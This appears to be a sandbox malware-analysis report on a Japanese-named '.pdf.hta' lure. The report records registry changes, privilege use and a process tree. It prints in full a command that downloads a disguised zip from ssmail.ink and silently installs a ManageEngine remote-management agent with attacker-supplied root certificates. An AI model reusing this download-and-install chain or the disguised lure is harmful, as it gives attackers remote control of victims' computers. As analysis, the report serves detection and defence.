\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "3DC0AB524872D4B49B075C211A03C650" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_DRBWZ5ID\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentregister.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcconfig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879683" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_DRBWZ5ID\\" msiexec.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2 dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2 dcagentregister.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe 636 dcagentregister.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1500 msiexec.exe Token: SeIncreaseQuotaPrivilege 1500 msiexec.exe Token: SeSecurityPrivilege 4976 msiexec.exe Token: SeCreateTokenPrivilege 1500 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1500 msiexec.exe Token: SeLockMemoryPrivilege 1500 msiexec.exe Token: SeIncreaseQuotaPrivilege 1500 msiexec.exe Token: SeMachineAccountPrivilege 1500 msiexec.exe Token: SeTcbPrivilege 1500 msiexec.exe Token: SeSecurityPrivilege 1500 msiexec.exe Token: SeTakeOwnershipPrivilege 1500 msiexec.exe Token: SeLoadDriverPrivilege 1500 msiexec.exe Token: SeSystemProfilePrivilege 1500 msiexec.exe Token: SeSystemtimePrivilege 1500 msiexec.exe Token: SeProfSingleProcessPrivilege 1500 msiexec.exe Token: SeIncBasePriorityPrivilege 1500 msiexec.exe Token: SeCreatePagefilePrivilege 1500 msiexec.exe Token: SeCreatePermanentPrivilege 1500 msiexec.exe Token: SeBackupPrivilege 1500 msiexec.exe Token: SeRestorePrivilege 1500 msiexec.exe Token: SeShutdownPrivilege 1500 msiexec.exe Token: SeDebugPrivilege 1500 msiexec.exe Token: SeAuditPrivilege 1500 msiexec.exe Token: SeSystemEnvironmentPrivilege 1500 msiexec.exe Token: SeChangeNotifyPrivilege 1500 msiexec.exe Token: SeRemoteShutdownPrivilege 1500 msiexec.exe Token: SeUndockPrivilege 1500 msiexec.exe Token: SeSyncAgentPrivilege 1500 msiexec.exe Token: SeEnableDelegationPrivilege 1500 msiexec.exe Token: SeManageVolumePrivilege 1500 msiexec.exe Token: SeImpersonatePrivilege 1500 msiexec.exe Token: SeCreateGlobalPrivilege 1500 msiexec.exe Token: SeRestorePrivilege 4976 msiexec.exe Token: SeTakeOwnershipPrivilege 4976 msiexec.exe Token: SeRestorePrivilege 4976 msiexec.exe Token: SeTakeOwnershipPrivilege 4976 msiexec.exe Token: SeRestorePrivilege 4976 msiexec.exe Token: SeTakeOwnershipPrivilege 4976 msiexec.exe Token: SeRestorePrivilege 4976 msiexec.exe Token: SeTakeOwnershipPrivilege 4976 msiexec.exe Token: SeRestorePrivilege 4976 msiexec.exe Token: SeTakeOwnershipPrivilege 4976 msiexec.exe Token: SeRestorePrivilege 4976 msiexec.exe Token: SeTakeOwnershipPrivilege 4976 msiexec.exe Token: SeRestorePrivilege 4976 msiexec.exe Token: SeTakeOwnershipPrivilege 4976 msiexec.exe Token: SeRestorePrivilege 4976 msiexec.exe Token: SeTakeOwnershipPrivilege 4976 msiexec.exe Token: SeRestorePrivilege 4284 7za.exe Token: 35 4284 7za.exe Token: SeSecurityPrivilege 4284 7za.exe Token: SeSecurityPrivilege 4284 7za.exe Token: SeRestorePrivilege 1648 7za.exe Token: 35 1648 7za.exe Token: SeSecurityPrivilege 1648 7za.exe Token: SeSecurityPrivilege 1648 7za.exe Token: SeRestorePrivilege 2992 7za.exe Token: 35 2992 7za.exe Token: SeSecurityPrivilege 2992 7za.exe Token: SeSecurityPrivilege 2992 7za.exe Token: SeDebugPrivilege 1692 dcusbsummary.exe Token: SeDebugPrivilege 4104 dcswmeter.exe Token: SeRestorePrivilege 4976 msiexec.exe Token: SeTakeOwnershipPrivilege 4976 msiexec.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1692 dcusbsummary.exe - Suspicious use of WriteProcessMemory 46 IoCs
description pid Process procid_target PID 3196 wrote to memory of 432 3196 mshta.exe 83 PID 432 wrote to memory of 1888 432 cmd.exe 85 PID 432 wrote to memory of 1684 432 cmd.exe 86 PID 432 wrote to memory of 3716 432 cmd.exe 98 PID 432 wrote to memory of 1500 432 cmd.exe 101 PID 4976 wrote to memory of 4884 4976 msiexec.exe 104 PID 4976 wrote to memory of 636 4976 msiexec.exe 105 PID 636 wrote to memory of 2720 636 dcagentregister.exe 106 PID 2720 wrote to memory of 920 2720 cmd.exe 108 PID 920 wrote to memory of 4868 920 net.exe 109 PID 2720 wrote to memory of 4564 2720 cmd.exe 110 PID 2720 wrote to memory of 2208 2720 cmd.exe 111 PID 2720 wrote to memory of 1336 2720 cmd.exe 112 PID 2720 wrote to memory of 4704 2720 cmd.exe 113 PID 2720 wrote to memory of 4672 2720 cmd.exe 114 PID 636 wrote to memory of 2252 636 dcagentregister.exe 116 PID 2252 wrote to memory of 4284 2252 cmd.exe 118 PID 636 wrote to memory of 1648 636 dcagentregister.exe 122 PID 636 wrote to memory of 2992 636 dcagentregister.exe 145 PID 636 wrote to memory of 4756 636 dcagentregister.exe 153 PID 3240 wrote to memory of 736 3240 dcagentservice.exe 130 PID 3240 wrote to memory of 1692 3240 dcagentservice.exe 132 PID 3240 wrote to memory of 3036 3240 dcagentservice.exe 133 PID 1692 wrote to memory of 2020 1692 dcusbsummary.exe 135 PID 3240 wrote to memory of 3308 3240 dcagentservice.exe 137 PID 3240 wrote to memory of 2212 3240 dcagentservice.exe 139 PID 3240 wrote to memory of 4104 3240 dcagentservice.exe 141 PID 3240 wrote to memory of 2380 3240 dcagentservice.exe 143 PID 636 wrote to memory of 2992 636 dcagentregister.exe 145 PID 432 wrote to memory of 4604 432 cmd.exe 146 PID 3240 wrote to memory of 3836 3240 dcagentservice.exe 147 PID 3836 wrote to memory of 5024 3836 dcconfig.exe 149 PID 2992 wrote to memory of 2028 2992 dcagentregister.exe 151 PID 2028 wrote to memory of 4756 2028 cmd.exe 153 PID 3496 wrote to memory of 3500 3496 UEMSAgentHealthChecker.exe 156 PID 3496 wrote to memory of 956 3496 UEMSAgentHealthChecker.exe 158 PID 3496 wrote to memory of 4912 3496 UEMSAgentHealthChecker.exe 160 PID 3836 wrote to memory of 1884 3836 dcconfig.exe 162 PID 3240 wrote to memory of 3928 3240 dcagentservice.exe 164 PID 3836 wrote to memory of 3828 3836 dcconfig.exe 165 PID 1992 wrote to memory of 3400 1992 mshta.exe 168 PID 3400 wrote to memory of 4456 3400 cmd.exe 170 PID 3400 wrote to memory of 1480 3400 cmd.exe 171 PID 3836 wrote to memory of 4620 3836 dcconfig.exe 172 PID 3400 wrote to memory of 4920 3400 cmd.exe 174 PID 3400 wrote to memory of 1000 3400 cmd.exe 175
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\お支払い確認書.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:3196 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" 2>nul & echo Installing... > "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" && curl -L -o "%TEMP%\file_DRBWZ5ID.zip" "https://ssmail.ink/down/223/setup.png" && if not exist "%TEMP%\extracted_DRBWZ5ID" mkdir "%TEMP%\extracted_DRBWZ5ID" 2>nul && tar -xf "%TEMP%\file_DRBWZ5ID.zip" -C "%TEMP%\extracted_DRBWZ5ID" && cd /d "%TEMP%\extracted_DRBWZ5ID" && start /wait msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="%cd%\DMRootCA-Server.crt" DS_ROOT_CRT="%cd%\DMRootCA.crt" && timeout /t 3 /nobreak >nul && cd /d "%TEMP%" && del /f /q "file_DRBWZ5ID.zip" && rd /s /q "extracted_DRBWZ5ID" && del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\SysWOW64\cmd.execmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"3⤵
- System Location Discovery: System Language Discovery
PID:1888
-
-
C:\Windows\SysWOW64\curl.execurl -L -o "C:\Users\Admin\AppData\Local\Temp\file_DRBWZ5ID.zip" "https://ssmail.ink/down/223/setup.png"3⤵
- System Location Discovery: System Language Discovery
PID:1684
-
-
C:\Windows\SysWOW64\tar.exetar -xf "C:\Users\Admin\AppData\Local\Temp\file_DRBWZ5ID.zip" -C "C:\Users\Admin\AppData\Local\Temp\extracted_DRBWZ5ID"3⤵PID:3716
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA.crt"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1500
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 3 /nobreak3⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:4604
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:1716
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\お支払い確認書.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2452
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4976 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D579B31D65EBC93E21B14070B05A08EA2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4884
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\SysWOW64\net.exenet session4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵
- System Location Discovery: System Language Discovery
PID:4868
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4564
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "ZPZANAWL\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2208
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1336
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4704
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4672
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4284
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1648
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2992
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4756
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2992 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe5⤵
- System Location Discovery: System Language Discovery
- Gathers system information
PID:4756
-
-
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\お支払い確認書.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2740
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2188
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3240 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:736
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:2020
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3036
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3308
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2212
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4104
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2380
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe163⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5024
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -p processor compatibility3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1884
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3828
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4620
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json3⤵PID:2508
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml5072.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml5072.tmpnew""3⤵
- Executes a command shell one-liner
PID:1452 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml5072.tmp" -so4⤵PID:2280
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *3⤵PID:3896
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll3⤵PID:648
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:3928
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3500
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:956
-
-
